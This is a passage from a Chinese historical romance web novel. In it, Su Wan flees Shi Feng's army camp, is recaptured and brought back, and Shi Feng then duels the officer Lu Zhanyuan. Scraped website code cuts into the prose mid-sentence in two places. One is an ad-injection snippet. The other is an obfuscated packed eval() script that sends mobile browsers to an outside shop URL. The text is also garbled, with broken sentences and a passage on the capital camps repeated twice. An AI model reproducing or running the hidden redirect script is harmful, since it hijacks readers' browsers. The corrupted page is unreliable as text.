模仿惟妙惟肖,以假乱真,唬得晴雷眼睛瞪成葫芦,嘴巴张成碗口。 苏绾竟以一人之力,吓退萧染数十精兵,堪比诸葛孔明之“空城计”,妙哉妙哉。 佳人得意道:“奴家今日表现如何?” 男人笑了笑,“表现不错,本将军奖励你兵营大牢一日游。” 苏绾的笑容,全部僵在脸上。 男人笑容未变,眼中的光渐渐黯淡。末了,抬起无力的右手,向侍卫晴雷打了个手势,将苏绾擒住捆绑,押解京郊兵营。 54. 逃跑 六月初十,天空流火。 京郊城西地区,距离西门约五六十里路程,这里水草丰盈,谷底地势平坦,四周群山环绕,乃守城绝佳位置。 这日里,上无军令下传,兵营一切如常。负责喂马的小旗兵,牵着指挥使的那匹名为“踏月”的银色汗血宝马,优哉悠哉在草地吃草。 此马通体银白,行姿矫健,日行千里,夜行八百,性子孤傲高贵,寻常人等根本不能近身。 听且仅听从指挥使的指令,就连小旗兵想要喂它,也得顺毛拍马屁拍上一阵,才肯高傲地屈尊吃上两口。 喂食草料也是极为挑剔,只吃干净的苜蓿,豆秸,外加一把胡萝卜。 这会子,不知出于何种缘故,踏月居然愿意跑出来啃干涩的草皮,令小旗官大为惊诧。 他用马刷轻轻摩挲马鬃,口中喃喃道:“踏月啊踏月,吾何日才能威武飒飒如将军乎?” 踏月根本不理睬他,低头悠闲吃草。 细风送来丝丝松香气息,马鼻陡然皱了皱,踏月抬起马首,警醒地瞭望远方。 紧接着,撒开马蹄狂奔,惊得小旗官连连跺脚呼叫:“快回来!” 踏月向着风眼处一路疾驰,不多时,眼前地平线处,浮现几许身影。 侍卫晴雷牵着两匹瘦马,蹀躞而至。 马背各驮一具人身。 小旗官慌慌张张追随踏月,浅草没了马蹄,也吞没他的靴,浸湿鞋底。 走近一看,其中一人昏迷,左手臂血肉模糊,血迹已干涸,惊得小旗官顿时浑身汗毛竖立,“将、将军!” 晴雷斥道:“莫吵,扶爷回营。” 小旗官连忙上前扯黑马的缰绳,踏月马蹄兀自横在面前,低头晃了晃马首,意思是它要带主人回家。 小旗官不敢跟踏月拉扯,遵循踏月的指示,将时枫扛着送到踏月的背上。 踏月叩了叩马蹄,扬起马首,轻轻嘶鸣一声,仿佛在告诉主人:我要出发了。 化作一道霹雳,隐没天际不见。 小旗官回首望着另一匹棕马,马背上驮着一位手脚捆缚的少年。 小旗官好奇问道:“奸细?” 晴雷瞟了他一眼,“不该问的别问!爷有令,押入爷的私人营帐,不许任何人接近。” 小旗官吞了口唾沫,“是。” 日落月升,星河耿耿,兵营篝火狐鸣。 “斩发如斩首,你当谨记这个教训。” 时枫缓缓睁开眼眸,梦里浮生,断肠睽离。心窝处隐隐作痛,剖心刮骨,刻骨铭心,远远大过手臂的皮肉伤痛。 帐外晴雷低声道:“爷你醒了?大理寺的邵大人飞鸽传书。” 时枫坐起身,披上玄色竹月纹外氅,伸手接过纸条。 “瞧你干的好事。” 纸条开头,醒目的六个大字占据小半纸张。笔者极尽揶揄嘲讽,就差破口大骂。 据他所言,京城之内,一夜之间变天。 温侍郎家里遭了歹匪绑架,未婚妻被人掳走,京城九道城门提早关闭,巡城兵马司满大街搜捕贼寇,闹得百姓人心惶惶。然而搜查一整夜,也未能逮住贼匪。驻守西门的城门郎曾开门放走人马,兵马司紧急逮捕城门郎,将其关进大牢。 顺天府府尹刘大人,派人查封了苏郎中的家门,不许任何人出入。苏郎中震惊,四处递帖子求人,竟还递到了户部,被温侍郎严词驳回。 温侍郎捉不到贼匪,特求京卫指挥使时枫援助,亲自登门拜访。岂知时府人去楼空,唯有客居府上的福建都指挥使沈恪,彼时被温侍郎问了七八个来回,老将军皆摇首叹息。 另早朝时,司礼监宣读温侍郎弹劾镇南王,圈地侵占土地等行径的奏章,圣上龙颜震怒,当庭质问镇南王可有此事。镇南王赧然无法应对,圣上擢其上缴宅基地图以查证。 镇南王遂状告温侍郎绑架王府御猫,意图威胁勒索他。两人当庭你一言我一语,吵得不可开交。因牵扯到御猫,圣上视听受阻碍,暂不能裁断,将两案全部丢给司礼监调停。 时枫放下信笺,心里百感交集。 不多久,温如初就会查到他的头上来,到时候人赃并获,叫他吃不了兜着走。 然他有备而来。 时枫命人准备笔墨,执管书就回信一封。 信笺一开头,四个朱批大字醒目:“我怎么了?” “不就是回营休整,检阅军威?碍到谁了不成?一切尽在掌握中,你不必庸人自扰之。” “我一路追踪画舫一案,今有重大发现:主谋萧染,实为漕帮毒蛇堂堂主,他洗劫黑风寨,抢夺财物,将全寨包括寨主在内五十余性命屠戮殆尽。我与萧染大战三百回合,身负重伤杀出血路,得以逃出生天。顺便搭救山寨关押民间掳掠的百姓,其中一人与苏郎中家的女儿模样一致。邵大人若有兴趣,可前来兵营提人。” 京师京营,又称三大营,包括五军营、三千营和神机营。 五军营是骑兵和步兵混合体,军士除来自京师卫军外,又调地方部队加入,担任攻击的主力。 三千营最早由三千匈奴骑兵组成,后不断扩大队伍,担任突击部队角色。 神机营,因用兵交址,得火器法,立营肄习而名。掌火铳、火炮、火绳枪等神机炮火器。 京营并不直接掌管皇帝的宿卫,另专设十二卫为皇帝亲军,除锦衣卫中专理刑名的镇抚司外,从制度上均属兵部,编制隶属于京营。 京营内卫京师,外备征战,是朝廷最精锐的野战部队。 时枫得以调任京卫指挥使一职,不全是因为他骁勇善战、战功赫赫。他的父亲绥靖王时谦,曾奉先帝指令,一手创建京师三大营。今时枫得受父亲庇荫,临危受命,掌管京师京营,统帅三万驻兵。 甭管他捅出天大的篓子,只要兵权在手,这京城的天,由他说了算。哪怕对方领了圣旨讨伐他,他也不会皱一下眉头。 北京城内,他是拥兵自重的王。 然而这位王者,察觉到一丝危险的气息。 来路不明的萧染,竟掌握朝廷军机秘要,不但对他的行踪了如指掌,而且还揭露时樾被人陷害的真相。 果真是温如初害死时樾吗? 动机是什么? 据萧染所说,时樾是温如初立下的投名状,为了取得内阁的支持,从而顺利爬上户部侍郎的职位。 但有一点不通。 朝廷为何采纳温如初的倡议,致时樾于死地? 还是说,朝廷本就有此意,温如初不过是侥幸猜中圣意? 时枫不敢再深思下去。 他将这份疑虑,全部以密文形式告知邵云礼。 下一步,就看他怎样唱这出戏码。 正筹措之际,忽然士兵来报:看守的奸细跑了。 那个疯婆娘! 他还未收拾心情审问她,她倒先跑了,岂有此理。 男人凤眸一凛,即命人更衣,他要亲自追捕奸细。 弦月冷翻弦,沙场烽火狼烟。 苏绾自被带入营帐后,左思右想,越想越觉得自己没有退路。 倘若被对方察觉自己来路不明,一口咬定她是妖女,将她吊在城门楼上活活烧死,可怎么办? 苏绾决定不能坐以待毙,遂趁人不注意,悄悄拾了块片岩,锋利边缘好似刀刃。她以岩石反复割磨,割断绑缚手脚的绳索。 帐外站了一名守卫士兵,身穿铁甲,手握长枪。 苏绾以精湛口技模仿,假装被蜜蜂蛰咬,满地打滚尖叫救命。 之前晴雷特意叮嘱士兵:“小心看护,出了岔子,拿你命来赔。” 守卫冲进帐篷,还未看清状况,脑袋挨了一杵子重击,当即倒地不醒。 苏绾丢掉手里的竹凳,抹了一把额间冷汗,推开帐幕,向外逡巡张望。 外面星光点点,映照篝火燃燃。一望无际的操练场上,上百士兵仍在列队训练,吼声雷动震天。 士兵们训练有素,步兵手握金戈,兵器交鸣响彻天地;骑兵骑着战马,马蹄猎猎尘土飞扬。 一阵冷风嗖嗖钻入营帐,吹得苏绾打了一个寒颤。她赶忙放下帐幕,拍拍胸脯,让自己镇静下来。 上一世,绥靖王时枫率领三十万反叛军,打着“清君侧”的名义,围剿京城。当时她被绑在十字桩,立在城门楼上,举目远眺,成千上万的士兵举着红色的旗帜,汇成钢铁洪流铺天盖地席卷一空。 专为杀她和温如初而来。 伸手推开帐幕,苏绾低下头,融入浓浓夜色。 旷野蔽旌旃,一匹通体银白骏马正悠闲自在地啃食夜草,苏绾定睛一看,正是那匹驮着时枫回营的宝马。 四下也无别的闲马,苏绾上前拉起缰绳,翻身跃上马背,双腿加紧马勒,朝马臀重重一击,驾马飞奔远走高飞。 果真是一匹宝马,跑起来虎虎生风,有马踏飞燕之雄姿。上一世,苏绾览尽皇家名马,体感都不如骑这匹马,狂野中带着不羁,银白马鬃,夜色中尤其闪亮。 才走了二里地,还未得走出营口,半空中传来几声尖锐呼哨,宝马听见,竟直愣愣刹住马蹄,掉头往回就跑。 急得苏绾一个劲拍击马臀,“你别回头啊!” 这马经过训练,只听从主人的指令,先前它肯载苏绾一程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,已是很给苏绾面子了。 苏绾情急之下,脑内快速闪过一个念头——跳马。她四下张望,见路边仙草葳蕤柔软,在马儿跑过时,咬牙纵身一跃,落入草丛深处。 哪知草丛底部是一块湿地,积累满池的淤泥。苏绾径直掉进泥潭,滚了又滚,蹭了又蹭,直包裹得浑身上下全是泥浆,俨然成了泥人儿。 她趴在泥淖里,四肢不得动弹,最落魄之际,时枫骑着踏月,伴随几名骑兵,踏踏行至跟前。 望着眼前的泥人,时枫蓦然一愣,身旁骑兵低头忍着笑意。 苏绾抬起头,兀自撞见那双清冽凤眸,仿佛被万世寒霜裹挟。 凤眸的主人低觑着她,冷冷道:“你跑得了吗?” 重生一世,她可曾逃的掉命运的羁绊? 一时间,各种酸楚涌上心头,连带着被人嘲笑的羞赧,苏绾的眼泪直在眼眶打转。 不等她的眼泪掉下来,男人低腰捞着她的身子,将她带向马背。不顾她满身泥泞,将她圈在怀里,两手拉起缰绳,调转马头返回。 “我不要回去。”苏绾委屈地抗议。 “别乱动,否则把你扔下马。” 男人有些生气,她为什么逃离他,明明是她欺骗他,他可是一句重话都没有讲过。 他不愿相信,梦里所发生的一切,是冥冥之中,上天给予他的预兆和警告。 现实打了他的脸。 细想之下,从头至尾,她就没有对他坦诚过任何一面。就连骑马这种无关痛痒的小事,她也要瞒着他,欺骗他。 何必呢? 随便扔给他一个理由:爱好打马球,强身健体,对抗苏家歧视,热爱大自然……诸如此类,他都能理解并给予尊重。 可她咬紧朱唇,一字未加解释。 按照他以往的脾性,该是将她当做奸细,严加审讯,就地正法才对。他也只是捆了她的手脚,扔进兵营。 他舍不得她。 踏月载着一双妙人儿,却没有在军营下榻处停下脚步,而是来到洗澡房。 这匹马太有灵性,竟能听懂主人的心思。 时枫一跃跳下马,转身伸出双手接应苏绾,“下来。” 情感上她不想再跟他有任何接触,理智上她别无选择,只好按着大手,任凭身体落进宽阔的怀抱。 时枫转身命令兵士:“擅闯者,按违背军令处置。” 横腰抱着泥塑的佳人,不顾众兵士窃窃私语的目光,男人一头钻进洗澡房。 军营洗澡房设备简陋,架设几根竹管从山泉处引流,打开阀门横杆,源源不断的泉水流入营房,再沿着地面挖好的槽道流出营房。 男人捞着苏绾,不管她如何踢腿挣扎,强行摁在竹管莲蓬下方。阀门横杆挪开,清冽冰凉的山泉哗啦啦浇头而下,推着满身泥污滴落游走,瞬间涤荡苏绾的理智。 大手拇指碾上朱唇,揩去嘴角一抹残污,男人哼了一声,“就这么想逃离我吗?” 星眸骤然抬起,带着不解,凝望威武不屈的战神,她突然感到自惭形秽,明明是她欺骗了他。 “我没有什么可解释的。”苏绾低下头,不忍再看那双眼睛。 “谁让你解释了?”男人拢着她一头乌发,细心地为她洗去铅华,“不想说就不说,没人强迫你。” 待洗净身上所有泥污,男人却没有离开的意思,他起手脱掉沾着泥浆的衣袍,露出结实的胸肌,显得孔武有力。 雄浑力量迷了苏绾的眼,令她脸颊微热。她欲起身躲开他的视线范围,却被男人擒住手腕,一手摁在墙壁上。 男人扔下一句话,“不许离开我。”停了一息,补充道:“这是命令,不是征求意见。” 她没听懂他的意思,当前不要离开,还是今生不要离开? “你……”可她话头才刚出口,瞥见男人左臂紧紧缠绕的绷带,好似狰狞的荆条,布满整块手肘,满腹怨恨瞬间喑哑,再也吐不出来。 下一刻,炽热的呼吸紧紧贴上朱唇,疯狂掠夺汁液,将满腔的愤怒尽数偿还,以解除白日里的万般苦闷。 苏绾闭上眼睛。 待一切重新平静下来,时枫抱着苏绾回到营帐,亲自帮她穿戴整齐。 依旧是一身男子装束。 苏绾坐在床榻,低首摆弄手指,拨弄心中一团乱麻。她不知前路如何凶险,也不知自己该不该回头。 “你先休息一下,明早我送你回去。” 苏绾猛然抬头,“回去哪里?” 男人嘴角一斜,“这话问的,当然是送你回到未婚夫的身边。” 苏绾的心,瞬间跌入万丈深渊。 55. 京营 夜阑风静,烛蛾扑火。 苏绾自知无力定苍天,伴君如伴虎,如今被虎反噬,她也没什么好抱怨的。惟恨他薄情寡义,诓骗了她的身子,又将她再次推入火海。 满腔委屈无处宣泄,葱指攥着铺盖,咬牙道:“你费尽周折将我从他手里抢回来,如今又要巴巴地将我送还给他。想必他本事大过天,你斗不过他,唯有投降认输。” 低下头,幽怨道:“奴家真是看走了眼,还以为求得保命菩萨庇佑,谁知求来一尊泥菩萨,倒头来不过是,镜花水月一场空。” 攥拳敲击手心,恍然大悟道:“早知如此,奴家还不如找兵部尚书的长子呢。听说他是个憨熊,性格温驯,和蔼可亲,做事最讲诚信,必不会反咬奴家一口,将奴家拱手让人。” 一张小嘴呶呶不休,道不清是是非非名利场;两只小脚床前荡来荡去,荡不尽黄粱梦一场。 听得时枫差点笑死。 “谁说我要将你拱手让给别人啦?” 男人双手交叉环抱胸前,右手搭在左臂,叩敲层层缠绕的绷带,眼神充满佻达,饶有兴趣地听她抱怨。 “你又想起兵部尚书家的大老粗来啦?本将军倒想会一会他,看他究竟使了什么法子,让你这只猫崽子,始终对他念念不忘,张口闭口都要去找他。” “不是你说的吗?明早就送我回去,回到那个吃人不吐骨头的魔窟。”苏绾抬起光洁的额头,狠狠剜了他一眼,“大老粗未必不肯理睬奴家。” 那副倔强娇俏模样,可爱极了,男人心神荡漾了几个来回,蓦然忆起洗澡房的旖旎风光。 他忍不住跬步向前,大掌捏着佳人腋窝提起,用力一撴,如同抱婴孩般倒扛在肩膀。 苏绾还沉浸在与人斗嘴的兴奋劲头,身子陡然一轻,被人连根拔起,倒栽葱般架在肩头。她两眼一黑,急得攥拳捶铁兽脊背,骂道:“你个疯子,又想干什么?” 男人一声不吭,挺直胸膛,气沉丹田,大掌挥舞,啪啪两下,用力拍打佳人的后臀。雷厉风行的架势,仿佛严父惩罚调皮不听话的顽童,又爱又恨,怜其美好,怒其不争。 掌击力度过大,疼得苏绾眼泪在眼眶里打转,“你有病啊,快放我下来。” “知道错了没有?下次再敢从我身边逃跑,就不是打屁股这么简单了。” 佳人又羞又愤,小脚狠命踢打男人腹部,脚指头被铜墙铁壁撞得生疼。 结果换来更加响亮的一啪。 “这不是求饶的态度,好好说话。” 这一啪,逼出苏绾两行灯下泪。她不明白,天底下怎么会有如此变态的人,连司礼监的太监都不敢这么对她。 人为刀俎,我为鱼肉。 识时务者为俊杰。 逼急了,认他做爹都可以。 毕竟巴掌打在肉上,是真疼啊。 佳人泪流满面,拱手求饶,“奴家知错了,再不敢逃了,将军饶命。” 大手停在半空,犹豫一阵,啪,又重重落下。 “我不喜欢你的称呼,从此不准自称奴家,也不准叫我将军。” 那场斩发的噩梦幽灵般缭绕心尖,令他如鲠在喉,久久不能释怀。 连续大力拍打,彻底打垮苏绾的精神防线。她已化为垂死的玉兔,四肢瘫软,倒挂铁兽肩膀,有气无力道:“好嘛好嘛,再也不这么叫了,你别打了嘛。” “那你该叫我什么?”男人声音有些急促。 苏绾迷迷糊糊地答道:“时枫,我叫你时枫,好不好?” 男人怒道:“本将军的名讳,岂是容你随便叫唤的?不好,换一个。” 这个家伙实在难缠,苏绾咬了咬牙,“榆白哥哥,行吗?” 男人咋么咋么嘴,“凑合,胜在无人叫过。” 苏绾恨得咬牙切齿,“求榆白哥哥放过,绾绾再也不逃了。” 眼见目的达成,男人终于停下手里的动作,心满意足地勾了勾唇,“乖乖,这才是我的好姑娘。” 依然是夹着双腋放下苏绾,大手揩去桃花脸颊泪痕。 苏绾倔强地侧过半身,偏不给他碰脸。 男人的手停在半空,嘴角会心一笑。 他横腰抱起苏绾,朝床铺一丢,骨碌碌,苏绾滚了半圈,落进堆成山垛的铺盖卷。 男人趁势一跳,搭坐床榻边,大手翻过她的身体,轻轻揉搓被他打肿的部位。 “我送你回去他的身边,是为了让你做一件事情。在温如初的书房里,藏有一封朱封密函,记载了重要的内容。温如初为人谨慎小心,无论走到哪里,都会确保这封密函安然无恙。” “很快,朝廷将派遣他担任钦差大臣,南下杭州监管漕运,兼抓捕海寇等职责。你须陪同他一起南下,途中找机会拿到密函。” 后臀火辣辣地疼,已轻微红肿,苏绾十分确定眼前男人是个变态。她尚沉浸在余痛中,有一搭没一搭地问他,“什么紧要的内容?” 男人低垂着眼眸,漫不经心地回道:“没什么,温如初杀了时樾,那封密函就是铁证。” 轻飘飘的话语,令苏绾闻之一颤,霎时起了一身冷汗。 温如初如何害死的时樾,她不得而知。上一世,绥靖王时枫一路追查时樾将军死因,最终查到温如初的头上。彼时温如初已成功入阁,正愁没有手段除掉阁老。他便使一计“借刀杀人”,将阁老归咎元凶。时枫听信了他的谗言,晴朗秋日,单刀闯入阁老府邸,亲手挥刀斩杀一代名相章任梁。 为表示自己不知情,她故意装出一副吃惊模样,猛挺后腰爬起身,葱指抓着男人的衣领,眼睛睁得大大,“真的吗?温如初竟然是杀害时樾将军的元凶?你又如何得知那封密函的存在?” 夸张的神情并非苏绾一贯冷心冷肺的常态,瞬间引起男人的警觉,凤眸闪过一丝锐利光芒。然他刻意按下心悸,不动声色道:“是萧染告诉我的,他好像知道很多关于我的事情。” 萧染的确不一般。 画舫那日,萧染对她说过的话语历历在目:“温侍郎……不过狗仗人势。他背后撑腰的主人,也奈何不了我几分,何况区区一条狗?” 细想之下,萧染根本不惧温如初,更不怕章阁老。 什么样的狠角色,连当朝首辅也不放在眼里。 唯有后宫皇权之子。 可她翻遍记忆的角落,也未找到哪位皇子皇孙跟萧染有半点关系。 当今圣上五十知天命,膝下所出皇子共八人。最大皇子三十五岁,最小的皇子五岁,中间并无二十岁左右的子嗣,也无可能是皇孙一辈。 苏绾总觉得哪里不对劲,但她此刻也毫无头绪,跪坐在男人面前,星眸泛着淡淡清辉,好似惴惴玉兔,睁着迷离的眼。 那副惹人怜爱的模样勾弄着男人的心尖,他一把搂过苏绾,抱在怀里,下颌支在她的头顶,柔声道:“你不必担心,此去杭州,路途虽遥远,我会明里暗里保护你,不会让你伤到半根头发。” “拿到那封密函以后,我将整理手头所有证据,一同呈报皇帝,弹劾温如初。就算是当朝首辅,也不得以身试法庇护他。” “等我亲手送温如初下狱,你的婚约自然而然解除,没人敢再难为你。然后……” 男人欲言又止。 然后,他会想方设法讨取她的欢心,让她一辈子对他死心塌地,再也不离开他。 但是现在离做出承诺,还为时尚早。 他还不能确定她的心意。 也无法得知,她刻意隐瞒的秘密。 惟有等她自己敞开心扉的那一日。 苏绾早已预料,解除圣旨婚约,并非一朝一夕促就,少不得要探索一番虎穴龙潭。她只是没想到,他的反击计划竟形成的如此之快,即刻就要投身进阴险诡谲的朝堂争斗之中。 抬头凝望男人风霜凛凛的眼眸,放射出刚毅果决的光芒,给人以希望和力量,低头忍不住一声叹息: 倘若他能正常一点,就好了。 下手那么重,好人也被弄坏了。 苏绾气不打一处来,又不敢明目张胆的诋毁他,只好在心里不断腹诽,咒他出门踩狗屎。 可她没有注意到,不知不觉中自己已身陷泥潭,不能自拔。 第二日清晨,天空阴霾连片。 小旗官起得很早,他要预备饲料,灌满水槽,打扫马厩。喂饱踏月后,给它梳理毛发,清理马蹄,检查牙齿等,并安排自由奔跑或骑行训练等活动。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13839311|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一日,小旗官按照惯例,提着木桶去喂踏月,走近马厩一看,空空如也。 小旗官瞬间感觉浑身血液倒流。 他像个疯子一般在兵营奔跑,边跑边喊:“踏月丢了,踏月丢了。” 喊声传遍全营,士兵纷纷探出头张望。 百户长展臂拦截失心疯的小旗官,喝道:“吵什么吵?将军骑着踏月一早出营去了。” 小旗官眨巴眨巴眼睛,突然扑通跪在地上,长长吐一口气。 好险,差点以为踏月被奸细偷走,否则他的脑袋也不保了。 百户长望着远方天际,意味深长道:“被偷走的,不止是踏月啊。” 天际云霞明灭,变幻莫测。一队二十人左右的骑兵小分队,穿梭于云层之间。其中一匹银色的骏马尤为迅猛,势如疾风,快如闪电。 马背骑着一双妙人,身体紧扣,随马动颠簸起伏,穿梭千年红尘阡陌。 男人一身玄色铠甲,暗黑披风,威风凛凛大将军。他挥手指点江山,勾勒出京郊大营的轮廓,一一展示给怀里佳人观看。 京师京营,又称三大营,包括五军营、三千营和神机营。 五军营是骑兵和步兵混合体,军士除来自京师卫军外,又调地方部队加入,担任攻击的主力。 三千营最早由三千匈奴骑兵组成,后不断扩大队伍,担任突击部队角色。 神机营,因用兵交址,得火器法,立营肄习而名。掌火铳、火炮、火绳枪等神机炮火器。 京营并不直接掌管皇帝的宿卫,另专设十二卫为皇帝亲军,除锦衣卫中专理刑名的镇抚司外,从制度上均属兵部,编制隶属于京营。 京营内卫京师,外备征战,是朝廷最精锐的野战部队。 “有我这三万精兵坐镇,他拿什么来讨伐本将军?”时枫得意洋洋道。 昨夜,苏绾已见识过京师操练的所向披靡,那的确是一支训练有素的精良部队,充满了肃杀之气。活了两世,她未曾接触过战场上真刀真枪的厮杀,这一刻心灵上的震撼,是她无法想象的。 如果,她手里也有兵权,不再依附他人力量,凭自己本事杀出一条血路,前途又将如何? 一个不懂舞枪弄棒的弱女子,还想立军功当万户侯?简直痴人说梦。她心里这样笑自己。 苏绾捋起被风吹散的一缕青丝,哂笑道:“拥兵自重的王,还不是要将我双手奉还给他?” 马背缰绳突然一紧,扯得踏月险些跌足,畜生扬蹄嘶鸣抱怨,嘴里不断吐着白气。 男人停下来,正色道:“我再说一次,我不会把你让给任何人,想都不要想。一切都只是暂时的忍辱负重。” 停了一息,又说道:“你不是一直问我,如何对你的行踪了如指掌?你院子里的扫院婢女春蝉,外号叫做‘鳐鱼’,是我安插在苏府的眼线,时时传递消息给我。不仅如此,春蝉拳脚功夫了得,有她在你身边保护你,你不会受到任何伤害。” “春蝉?”苏绾大为震惊,印象里春蝉是个十五岁的小丫头,进入苏府才仨月有余。 哦,从纳征那日开始,时枫就在布局谋划,算计她了! 明明是她设计引他入局,没想到自己摇身一变,成为局中人。 “你还有何事瞒着我?”苏绾的面颊因愠怒而微微泛红。 脑子里回想七根银针的事,时枫咽了口水,摇摇头,“没别的了。杀你焉用牛刀。” “哼,就知道你没安好心。”苏绾不住地抱怨,完全忘记自己才是那个秘密成堆的大王。 她想了半天,赌气似的道:“你的马太难骑,我要换一匹。” 说着,提腿就要翻身下马。 气得时枫一巴掌拍在她的后臀,“给你脸了不是,昨晚上是谁哭着说再也不逃了。” 俩人正在争执中,忽然身后响起晴雷急促的声音:“爷不好了,前面来了一队兵!” 时枫打眼一看,果真有一队骑兵,自城西方向急急赶来。观那旗帜颜色,应是五城兵马司的都指挥使。 男人嗤笑一声,“被你相中的熊罴,今日自己找上门来了。” 苏绾咬了咬嘴唇。 哪里是五城兵马司找她,分明是温如初的爪牙来追捕她了。 56. 挑战 六月十一,城西京郊,天光云影徘徊。旌旗猎猎,金戈铁马,气吞万里如虎。 阵前战将大名陆展元,时任正六品五城兵马司都指挥,兵部尚书陆能长子。其人生得五大三粗,皮肤黝黑,面相凶煞。他身穿金漆山文甲,手握紫金偃月刀,骑一匹通体黝黑骏马,威成剑骑雄,凛凛有英风。 威武气势闪了时枫的眼,令他心生不快,凤眸沉了沉,压着嗓子道:“何事找本将军?” 陆展元抱拳为礼,“末将奉顺天府刘府尹之命,前来京郊兵营查探一桩公案。” 他清了清嗓子,“事关前晚户部温侍郎上报贼匪入室,掳掠未婚妻苏绾一案。经巡城兵马司查清,当晚将军车马曾强闯西门出城。又接线人通报,言其亲眼目睹将军与苏绾曾有过密切接触。综上,末将特来查证,以便通报兵部。” 五城兵马司行巡捕盗贼,疏理街道沟渠及囚犯、火禁之事。凡京城内外,各画境而分领之。各司巡夜所查,奏报兵部,并转呈司礼监。 时枫眯着眼眸,听其陈述案情过程,谁在里面搞鬼,心里已有几分把握。他右手握着缰绳,身子向前探了探,一脸不屑道:“温侍郎家里遭了贼,与本将军何干?难道说,是本将军夜半潜入他家里,夺了他的妻不成?” 陆展元笑道:“末将尚不敢妄断,然据温侍郎所述,那贼匪的左手臂曾被家丁砍伤,因此左臂负伤者,当有最大嫌疑。” 言毕,眼角有意无意扫了一眼时枫的左臂——果不其然,左手肘缠绕厚厚一层绷带,未戴环臂甲。 此时苏绾骑着一匹枣栗马,躲在时枫身后窥视。听见对方如此说,不禁冷汗淋漓。这下人赃并获,那家伙一准被兵马司拿住把柄,押入大牢递送刑部和都察院。她暗暗给时枫递眼色,试图提醒对方,可利用山匪当做借口,以撇清自己的嫌疑。 然而时枫根本不理睬她。 男人凤眸觑着对方,像是看一只可怜的狗,冷笑道:“说什么嫌疑不嫌疑的,分明就是本将军翻进温侍郎家的宅邸,抢走了他的未婚妻,你又如何?” 一语既出,惊天霹雳,在场众人全部傻眼。 旁边的苏绾吓得险些掉下马,这家伙不知道又吃错什么药,面对追兵竟然不打自招。想来他所谓的“送她回去”,难道是先主动投降,再物归原主? 陆展元蓦然一愣,显然没料到对方居然毫不掩饰地和盘托出。他吊着黑眉盯着对方看了一阵,大约也未猜出所以然,只好挺胸收腹正色道:“将军既已承认,便请将军即刻释放苏绾,末将也好带她回去复命。” “哼,也要你有命来拿。”男人脸色骤变,手里金枪一横,摆出挑战的姿势。 大战在所难免,陆展元被迫亮出偃月刀,策马迎战出击。 紫刀铮铮,金枪鏦鏦。 风声鹤唳,草木皆兵。 见他二人莫名陷入恶战,苏绾心内琢磨一番,方看出些门道——那个家伙,无非就是耀武扬威,炫耀罢了。 想必是昨晚她赌气耍小性,抛出求助兵部尚书长子的言论,让他醋意大发,硬找借口扳回一城不可。 当着她的面,打败她的求救对象,让她无话可说,除了求他,天底下再也没有别的出路。 可恶,这个混蛋。 苏绾越想越气愤,自己处处被他拿捏,半点好处未得,还要忍辱负重赔笑脸。立时生出些报复心,想要跟时枫对着干。 这边时枫出招快狠准,陆展元根本不是他的对手,只五六个回合,便再也招架不住。稍不留神,即被对方逮住空档,金枪迎头狠狠压制宝刀。 忽然听见有人呼唤: “将军救我!” 两方人马均始料未及,齐齐望向声音来源。 只见后方一位少年急急下马,疾行至陆展元马前,扑通一下跪地泣道:“奴家苏绾,被贼人掳掠,特来向将军求助。” 言毕,玉手拔掉发簪,一头乌发散落,端地是女娇娥,此非少年郎。双目含情脉脉,金风玉露相逢,更显容貌昳丽曼妙。 看呆了陆展元的眼。 他张大嘴巴,好半天憋出一句:“原来是苏姑娘,本官寻你寻得好辛苦。” “哐啷”一声扔掉金刀,随即翻身下马,扶起苏绾,体贴安慰道:“苏姑娘莫怕,有什么冤屈,尽管诉诸本官,本官替你做主。” 时枫握着金枪,凤眸诧异地在苏绾身上滚了又滚,拿不准苏绾唱得是哪出戏。他直觉上认为,疯婆娘没准是想帮他,又或者想毁他。 那边男人一时踌躇不决,这边苏绾呜呜咽咽,诉不尽人间离愁。 “将军要为奴家做主呀。前日夕时,奴家与温侍郎兴起对酌,淡酒三杯两盏,奴家不胜酒力,乃卧床小憩。岂料夜半贼人上门,将奴家掳掠出城。次日奴家酒醒,才知事情始末。” 苏绾瞟了时枫一眼,“原是京卫指挥使时枫,觊觎奴家美色,抢了奴家来。还请将军救奴家出水火。” 美人梨花带雨,哭得陆展元心都碎了。紫金刀一横,豪言壮志道:“好大的胆子,光天化日之下,竟敢强抢民女。今日陆某人定要将那贼人一举拿下。” 马背上的“贼人”,一手竖举金枪,一手攥紧缰绳,陈醋坛子倾覆,恨不得一枪挑了陆展元。 不为别的,只因苏绾竟在他眼皮子底下,重现纳征车厢求人庇佑的戏码。 龌龊至盛,恶心至极。 男人顾不得思考,顿时泛起杀心。身子一低,双腿夹紧马肋。踏月心有灵犀,马蹄飞踏陡然冲出。 左腿勾着马鞍,身子向右探出,手里金枪一横,直刺向陆展元的胸口。 这一枪,速度太快,陆展元头还未抬起,根本来不及反应。 离他最近的苏绾,双手用力向前一推,推得陆展元差点跌个趔趄,也因此躲过一劫。他如梦方醒,捂着差点颠掉的头盔,拾起紫金刀,翻身上马应战。 哪知第二枪已经在路上了。 时枫突然调转马头,腰身向后一转,冷不防使一招漂亮的“回马枪”,猝不及防刺向陆展元,枪头直指他的脑袋。 用尽毕生武功所学,陆展元下意识低了低头,一刹那火花,金色枪头抵着头顶擦过,铁盔被枪头一扎子挑翻,骨碌碌滚落在地,发出叮叮当当碰撞声。 耳边蜂鸣嗡嗡,陆展元两眼昏花,还以为掉落的头盔是自己的头颅。他慌忙地伸手摸了又摸,拍了又拍。 哦,谢天谢地,脑袋瓜子尚在。 陆展元惊魂未定,转眼间,那杆来自地狱的金枪,复又归来。一招中平扎枪,虎啸生风,直刺他的咽喉部位。 陆展元心想:这下老子栽了。 